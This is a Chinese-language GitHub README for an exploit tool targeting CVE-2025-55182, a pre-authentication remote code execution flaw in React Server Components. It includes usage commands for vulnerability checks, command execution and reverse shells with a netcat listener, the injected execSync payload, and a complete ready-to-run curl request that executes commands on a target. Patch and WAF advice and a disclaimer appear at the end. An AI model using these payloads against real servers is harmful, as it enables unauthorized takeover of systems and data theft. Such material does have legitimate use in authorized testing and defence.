TYehan/CVE-2025-55182-React2Shell-RCE-Exploit
GitHub: TYehan/CVE-2025-55182-React2Shell-RCE-Exploit
针对 React Server Components Flight 协议反序列化漏洞(CVE-2025-55182)的未授权远程代码执行利用工具,提供漏洞检测、命令执行与反弹 Shell 功能。
Stars: 1 | Forks: 0
# CVE-2025-55182 — React2Shell
**React Server Components 中的未授权 RCE**
作者:TYehan
## TL;DR
单个未授权的 HTTP 请求即可在服务器上执行任意代码。该漏洞存在于 React Flight 协议反序列化 Server Action 请求的过程中——无需任何凭证或事先访问权限。
| | |
|---|---|
| **CVE** | CVE-2025-55182 |
| **CVSS** | 10.0 |
| **类型** | 认证前 RCE |
| **披露日期** | 2025 年 12 月 3 日 |
| **所需权限** | 无 |
## 1. 受影响版本
| 包名 | 易受攻击版本 | 已修复版本 |
|---|---|---|
| `react-server` | 19.0.0 – 19.2.0 | 19.3.0+ |
| `next` | 搭配未修复的 React 19 的任何版本 | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
默认配置即存在漏洞。无需自定义应用代码即可被利用。
## 2. 环境要求
- Python 3.8+
- `pip install requests`
## 3. 用法
**推荐顺序:** `check` → `exec`(用于信息收集 / 获取 flag)→ `revshell`(当你需要交互式会话时)。代理路由和 User-Agent 轮换适用于任何模块。
```
python exploit.py -t [options]
```
**推荐工作流 —— 始终从 check 开始:**
```
# 1. 确认目标存在漏洞
python exploit.py check -t http://10.10.11.50
# 2. 运行命令以枚举或获取 flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. 在需要交互式操作时获取 shell
# (首先启动你的 listener:nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
```
代理支持和随机 User-Agent 适用于任何模块:
```
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
```
各模块帮助:`python exploit.py --help`
| 模块 | 用途 |
|---|---|
| `check` | 对目标进行指纹识别并确认其是否存在漏洞 |
| `exec` | 运行单个 OS 命令并读取输出 |
| `revshell` | 向监听器发送反弹 shell |
运行 `python exploit.py --help` 获取该模块的完整参数列表(目标、命令、监听器主机/端口、shell 类型、代理、超时、User-Agent 轮换等)。
```
Options:
-t, --target URL Target URL
-c CMD Command to run (exec module)
--lhost IP Your IP (auto-detected from tun0 if not set)
--lport PORT Listening port (default: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (default: bash)
--proxy URL Route through a proxy (e.g. http://127.0.0.1:8080)
--random-agent Rotate User-Agent on each request
--timeout N Request timeout (default: 15)
```
## 4. 漏洞原理
### 4.1 背景
React Server Components 使用一种称为 **Flight protocol** 的内部流式格式与浏览器进行通信。当浏览器触发 Server Action 时,它会向应用根目录发送一个带有 `Next-Action` 头的 `multipart/form-data` POST 请求。服务器会将该请求体交给 `react-server` 包进行反序列化,这发生在进行*任何*其他操作之前——甚至包括检查该 action ID 是否有效。
```
Browser Next.js / Node.js
│ │
│── POST / ─────────────────────────────▶│
│ Next-Action: x │
│ Content-Type: multipart/form-data │
│ Body: crafted Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ◀── vulnerable here
│ │
│◀── 307 + X-Action-Redirect ─────────────│
│ (command output embedded) │
```
### 4.2 核心漏洞
在 `resolveModelToJSON()` 内部,反序列化器会遍历传入的 JSON 数据块。如果它发现一个带有 `then` 属性的对象,就会将其视为 Promise 并等待(await)它——这是有意为之的,因为异步 Server Components 是一项真实的功能。
缺陷在于:**没有任何机制验证这个 thenable 是否确实来自受信任的源。**
精心构造的数据块可以将 `then` 指向 `child_process.execSync(...)`。React 会忠实地等待它执行。该命令便在服务器上运行。
### 4.3 为什么 `Next-Action: x` 能生效
在生产环境中,Server Actions 由 SHA 哈希值标识。服务器应该在处理之前对此进行验证。但是 Flight 解码器在该检查**之前**就已经运行——这意味着任何带有 `Next-Action` 头的 POST 请求,甚至是像 `x` 这样完全伪造的值,都会触发存在漏洞的反序列化路径。不需要有效的 action ID。
### 4.4 获取输出结果
注入的代码会执行命令,然后抛出一个包含结果的伪造 `NEXT_REDIRECT` 错误:
```
var res = require('child_process').execSync('').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
```
Next.js 会捕获该错误并将其转换为 `307 Temporary Redirect`,将摘要(digest)嵌入到 `X-Action-Redirect` 响应头中。命令输出经过 URL 编码后到达:
```
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
```
### 使用 curl 进行手动利用
```
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
```
输出位于 `X-Action-Redirect` 头中,在 `/login?a=` 之后进行 URL 编码。
## 5. 修复方案
**补丁(首选):**
```
npm install react@latest react-dom@latest next@latest
```
最低安全版本:`react-server` ≥ 19.3.0,`next` ≥ 15.3.6
**如果无法立即打补丁:**
- 禁用 Server Actions:在 `next.config.js` 中设置 `experimental: { serverActions: false }`
- 在反向代理 / 负载均衡器处阻止 `Next-Action` 头
- 添加 WAF 规则,拒绝包含 `NEXT_REDIRECT` 或 `__proto__` 的 POST 请求体
## 6. 参考资料
- [NVD — CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [OffSec](https://www.offsec.com/blog/cve-2025-55182/)
- [Wiz Research](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)
- [Microsoft MSTIC](https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/)
- [Google GTIG](https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182)
## 免责声明
此概念验证(PoC)仅出于教育目的和授权安全测试提供。它仅适用于您
拥有的系统,或者您已获得明确书面授权(例如授权的渗透测试、范围内的漏洞赏金
计划或 CTF 环境)进行测试的系统。
在大多数司法管辖区,未经授权访问计算机系统是非法的。作者及任何
贡献者均不承担任何责任,也不对因使用本软件而产生的任何滥用、损害或法律
后果负责。使用此 PoC 即表示您同意,您对确保自己拥有测试目标系统的合法权利
负全部责任。
作者:[TYehan](https://tyehan.github.io/)
标签:CISA项目, Python, 无后门, 编程工具, 远程代码执行, 逆向工具